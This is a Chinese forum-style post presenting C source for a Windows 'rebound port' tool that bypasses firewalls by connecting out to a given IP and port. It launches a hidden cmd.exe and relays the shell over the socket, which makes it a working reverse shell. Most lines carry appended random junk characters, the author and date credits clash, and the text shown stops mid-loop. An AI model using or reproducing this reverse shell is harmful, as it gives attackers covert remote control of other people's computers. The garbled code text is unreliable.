这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :s? y,
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/* ============================== 1Q3%!~<\s
Rebound port in Windows NT T9,lblUQ
By wind,2006/7 ]ZBgE\[
===============================*/ }P7xdQ6
#include sz){uOI
#include oo"JMD)
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#pragma comment(lib,"wsock32.lib") wpJ^}+kF
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void OutputShell(); ~0:$G?fz
SOCKET sClient; (2&K(1.Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N$L&|4r
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void main(int argc,char **argv) m|g$'vjk
{ ,5%aP%
WSADATA stWsaData; #<^/yoH7C6
int nRet; u&Ie%@:h9R
SOCKADDR_IN stSaiClient,stSaiServer; b3jU~L$
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if(argc != 3) \3
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{ s7X~OF(#
printf("Useage:\n\rRebound DestIP DestPort\n"); A_8`YN"Xk
return; =iPd@f"$
} ]ys4
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'R-JQE-]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -+Awm{X_@
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stSaiClient.sin_family = AF_INET; C=pPI
stSaiClient.sin_port = htons(0); P+D|_3j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0*'`%W+5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ) J:'5hz
{ [0%Gu5_\
printf("Bind Socket Failed!\n"); /s-jR]#VA
return; [ a65VR~J
} OM#OPB
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stSaiServer.sin_family = AF_INET; GurE7J^=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :@z5& h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <aQ; "O~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'AlSq:gZ
{ D aqy+:
printf("Connect Error!"); [F9KC^%S
return; uk>/Il
} , T%pGku
OutputShell(); D;#Yn M3
} BIB>U W
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void OutputShell() 8b#Yd
{ K]=>F
char szBuff[1024]; EVE xL
SECURITY_ATTRIBUTES stSecurityAttributes; @|*Z0bn'
OSVERSIONINFO stOsversionInfo; 9gIJX?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QW"6]
STARTUPINFO stStartupInfo; qh'f,#dI}
char *szShell; c75vAKZ2
PROCESS_INFORMATION stProcessInformation; VRN9 yn2
unsigned long lBytesRead; K+TTYQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MBTt'6M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -gX2{dW
stSecurityAttributes.lpSecurityDescriptor = 0; 0 VgnN
stSecurityAttributes.bInheritHandle = TRUE; b42pLbpe'E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D;8V{Hs
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zSM7x
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :phD?\!w8t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #dm@%~B{.
stStartupInfo.wShowWindow = SW_HIDE; I4p= ?Ds
stStartupInfo.hStdInput = hReadPipe; zinl.8Uk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _!g
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GetVersionEx(&stOsversionInfo); u2\qg;dP
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switch(stOsversionInfo.dwPlatformId) S^"e5n2
{ GSb)|mj
case 1: (cew:z
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szShell = "command.com"; *b l{F\
break; `; %aQR
default: l@F
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szShell = "cmd.exe"; ={0{X9t?'j
break; a7d-
} `A{~}6jw
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m@2xC,@
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send(sClient,szMsg,77,0); P87Fg
while(1) S_;:iC]B
{ !!#ale&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q+M3Pqy
if(lBytesRead) kGeME
{ <RsKV$Je
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~{!!=@6
send(sClient,szBuff,lBytesRead,0); !D5`8
} Sf:lN4
else P(+ar#,G
{ HON[{Oq
lBytesRead=recv(sClient,szBuff,1024,0); 5|t&qUV
if(lBytesRead<=0) break; &